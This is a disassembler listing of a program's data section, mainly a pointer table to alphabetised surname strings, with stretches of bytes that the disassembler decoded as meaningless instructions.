		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
; ---------------------------------------------------------------------------
		mov	esp, 0C80043BDh
		mov	ebp, 0BDD00043h
		inc	ebx
		add	al, bl
		mov	ebp, 0BDE00043h
		inc	ebx
		add	al, ch
		mov	ebp, 0BDF00043h
		inc	ebx
		add	al, bh
		mov	ebp, 0BE000043h
		inc	ebx
		add	[eax], cl
		mov	esi, 0BE140043h
		inc	ebx
		add	[esi+edi*4], bl
		inc	ebx
		add	[esi+edi*4], ah
		inc	ebx
		add	[eax], dh
		mov	esi, 0BE380043h
		inc	ebx
		add	[eax-42h], al
		inc	ebx
		add	[eax-42h], cl
		inc	ebx
		add	[eax-42h], dl
		inc	ebx
		add	[eax-42h], ah
		inc	ebx
		add	[eax-42h], ch
		inc	ebx
		add	[eax-42h], dh
		inc	ebx
		add	[eax-42h], bh
		inc	ebx
		add	[eax-77FFBC42h], al
		mov	esi, 0BE900043h
		inc	ebx
		add	[esi+edi*4-415BFFBDh], bl
		inc	ebx
		add	[esi+edi*4-414BFFBDh], ch
		inc	ebx
		add	al, al
		mov	esi, 0BECC0043h
		inc	ebx
		add	al, bl
		mov	esi, 0BEE00043h
		inc	ebx
		add	al, ch
		mov	esi, 0BEF00043h
		inc	ebx
		add	al, bh
		mov	esi, 0BF040043h
		inc	ebx
		add	[eax], dl
		mov	edi, 0BF180043h
		inc	ebx
		add	[eax], ah
		mov	edi, 0BF2C0043h
		inc	ebx
		add	[edi+edi*4], dh
		inc	ebx
		add	[edi+edi*4], bh
		inc	ebx
		add	[edi+edi*4+43h], al
		add	[eax-41h], dl
		inc	ebx
		add	[eax-41h], bl
		inc	ebx
		add	[eax-41h], ah
		inc	ebx
		add	[eax-41h], ch
		inc	ebx
		add	[eax-41h], dh
		inc	ebx
		add	[edi+edi*4+43h], bh
		add	[edi+edi*4-406BFFBDh], cl
		inc	ebx
		add	[edi+edi*4-4053FFBDh], ah
		inc	ebx
		add	[eax-3FFFBC41h], bh
		mov	edi, 0BFCC0043h
		inc	ebx
		add	ah, dl
		mov	edi, 0BFDC0043h
		inc	ebx
		add	al, ch
		mov	edi, 0BFF00043h
		inc	ebx
		add	ah, bh
		mov	edi, 0C0040043h
		inc	ebx
		add	[eax+eax*8], cl
		inc	ebx
		add	[eax+eax*8], dl
		inc	ebx
		add	[eax], ah
		rol	byte ptr [ebx+0], 2Ch
		rol	byte ptr [ebx+0], 38h
		rol	byte ptr [ebx+0], 40h
		rol	byte ptr [ebx+0], 48h
		rol	byte ptr [ebx+0], 54h
		rol	byte ptr [ebx+0], 5Ch
		rol	byte ptr [ebx+0], 64h
		rol	byte ptr [ebx+0], 6Ch
		rol	byte ptr [ebx+0], 78h
		rol	byte ptr [ebx+0], 80h
		rol	byte ptr [ebx+0], 88h
		rol	byte ptr [ebx+0], 90h
		rol	byte ptr [ebx+0], 98h
		rol	byte ptr [ebx+0], 0A0h
		rol	byte ptr [ebx+0], 0A8h
		rol	byte ptr [ebx+0], 0B0h
		rol	byte ptr [ebx+0], 0B8h
		rol	byte ptr [ebx+0], 0C4h
		rol	byte ptr [ebx+0], 0CCh
		rol	byte ptr [ebx+0], 0D4h
		rol	byte ptr [ebx+0], 0DCh
		rol	byte ptr [ebx+0], 0E4h
		rol	byte ptr [ebx+0], 0F0h
		rol	byte ptr [ebx+0], 0FCh
		rol	byte ptr [ebx+0], 4
		rol	dword ptr [ebx+0], 10h
		rol	dword ptr [ebx+0], 18h
		rol	dword ptr [ebx+0], 20h
		rol	dword ptr [ebx+0], 28h
		rol	dword ptr [ebx+0], 34h
		rol	dword ptr [ebx+0], 40h
		rol	dword ptr [ebx+0], 4Ch
		rol	dword ptr [ebx+0], 58h
		rol	dword ptr [ebx+0], 64h
		rol	dword ptr [ebx+0], 6Ch
		rol	dword ptr [ebx+0], 74h
		rol	dword ptr [ebx+0], 80h
		rol	dword ptr [ebx+0], 88h
		rol	dword ptr [ebx+0], 8Ch
		rol	dword ptr [ebx+0], 90h
		rol	dword ptr [ebx+0], 98h
		rol	dword ptr [ebx+0], 0A0h
		rol	dword ptr [ebx+0], 0ACh
		rol	dword ptr [ebx+0], 0B4h
		rol	dword ptr [ebx+0], 0BCh
		rol	dword ptr [ebx+0], 0C8h
		rol	dword ptr [ebx+0], 0D0h
		rol	dword ptr [ebx+0], 0E0h
		rol	dword ptr [ebx+0], 0E8h
		rol	dword ptr [ebx+0], 0F4h
		rol	dword ptr [ebx+0], 0FCh
		rol	dword ptr [ebx+0], 4
		retn	43h
; ---------------------------------------------------------------------------
		or	al, 0C2h
		inc	ebx
		add	[eax], bl
		retn	43h
; ---------------------------------------------------------------------------
		and	dl, al
		inc	ebx
		add	[edx+eax*8], ch
		inc	ebx
		add	[edx+eax*8], dh
		inc	ebx
		add	[eax-3Eh], al
		inc	ebx
		add	[edx+eax*8+43h], cl
		add	[edx+eax*8+43h], dl
		add	[eax-3Eh], ah
		inc	ebx
		add	[eax-3Eh], ch
		inc	ebx
		add	[eax-3Eh], dh
		inc	ebx
		add	[eax-3Eh], bh
		inc	ebx
		add	[edx+eax*8-3D6FFFBDh], al
		inc	ebx
		add	[eax-5FFFBC3Eh], bl
		retn	43h
; ---------------------------------------------------------------------------
		test	al, 0C2h
		inc	ebx
		add	[edx+eax*8-3D43FFBDh], dh
		inc	ebx
		add	al, cl
		retn	43h
; ---------------------------------------------------------------------------
		rol	dl, 1
		inc	ebx
		add	ah, bl
		retn	43h
; ---------------------------------------------------------------------------
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd offset aHeyeck	; "Heyeck"
; ---------------------------------------------------------------------------
		or	bl, al
		inc	ebx
		add	[ebx+eax*8], dl
		inc	ebx
		add	[ebx+eax*8], bl
		inc	ebx
		add	[ebx+eax*8], ah
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-3Dh], al
		inc	ebx
		add	[eax-3Dh], cl
		inc	ebx
		add	[eax-3Dh], dl
		inc	ebx
		add	[ebx+eax*8+43h], bl
		add	[ebx+eax*8+43h], ah
		add	[ebx+eax*8+43h], ch
		add	[ebx+eax*8+43h], dh
		add	[ebx+eax*8+43h], bh
		add	[ebx+eax*8-3C73FFBDh], al
		inc	ebx
		add	[ebx+eax*8-3C63FFBDh], dl
		inc	ebx
		add	[ebx+eax*8-3C53FFBDh], ah
		inc	ebx
		add	[ebx+eax*8-3C43FFBDh], dh
		inc	ebx
		add	ah, al
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, bl
		retn
; ---------------------------------------------------------------------------
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0C3h	; Ã
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, dh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, bh
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
; ---------------------------------------------------------------------------
		adc	al, 0C5h
		inc	ebx
		add	[eax], ah
		lds	eax, [ebx+0]
		sub	ch, al
		inc	ebx
		add	[eax], dh
		lds	eax, [ebx+0]
		cmp	al, 0C5h
		inc	ebx
		add	[ebp+eax*8+43h], al
		add	[ebp+eax*8+43h], cl
		add	[ebp+eax*8+43h], dl


loc_43E477:				; CODE XREF: .data:0043E4B0j
		add	[ebp+eax*8+43h], bl
		add	[eax-3Bh], ch
		inc	ebx
		add	[eax-3Bh], dh
		inc	ebx
		add	[ebp+eax*8+43h], bh
		add	[eax-6FFFBC3Bh], cl
		lds	eax, [ebx+0]
		pushf
		lds	eax, [ebx+0]
		movsb
		lds	eax, [ebx+0]
		lodsb
		lds	eax, [ebx+0]
		mov	ah, 0C5h
		inc	ebx
		add	al, al
		lds	eax, [ebx+0]
		int	3		; Trap to Debugger
		lds	eax, [ebx+0]
		aam	0C5h
		inc	ebx
		add	ah, bl
		lds	eax, [ebx+0]
		loopne	loc_43E477
		inc	ebx
		add	al, ch
		lds	eax, [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine_0	; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
; ---------------------------------------------------------------------------
		or	al, 0CAh
		inc	ebx
		add	[edx+ecx*8], dl
		inc	ebx
		add	[edx+ecx*8], bl
		inc	ebx
		add	[edx+ecx*8], ah
		inc	ebx
		add	[edx+ecx*8], ch
		inc	ebx
		add	[eax], bh
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aMarch_0	; "March"
		dd offset aMarchbanks	; "Marchbanks"
; ---------------------------------------------------------------------------
		pop	eax
		retf	43h
; ---------------------------------------------------------------------------
		pusha
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
; ---------------------------------------------------------------------------
		or	dl, 43h
		add	[edx+ecx*8-3567FFBDh], cl
		inc	ebx
		add	[eax-53FFBC36h], ah
		retf	43h
; ---------------------------------------------------------------------------
		mov	ah, 0CAh
		inc	ebx
		add	[edx+ecx*8-3537FFBDh], bh
		inc	ebx
		add	ah, dl
		retf	43h
; ---------------------------------------------------------------------------
		fmul	st(2), st
		inc	ebx
		add	ah, ah
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
; ---------------------------------------------------------------------------
		cld
		retf	43h
; ---------------------------------------------------------------------------
		add	al, 0CBh
		inc	ebx
		add	[eax], dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8], ah
		inc	ebx
		add	[eax], dh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8+43h], al
		add	[ebx+ecx*8+43h], cl
		add	[eax-35h], bl
		inc	ebx
		add	[eax-35h], ah
		inc	ebx
		add	[ebx+ecx*8+43h], ch
		add	[ebx+ecx*8+43h], dh
		add	[ebx+ecx*8+43h], bh
		add	[ebx+ecx*8-3473FFBDh], al
		inc	ebx
		add	[ebx+ecx*8-345FFFBDh], dl
		inc	ebx
		add	[ebx+ecx*8-344BFFBDh], ch
		inc	ebx
		add	al, al
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, ah
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, ch
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, bh
		retf
; ---------------------------------------------------------------------------
		dw 43h
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
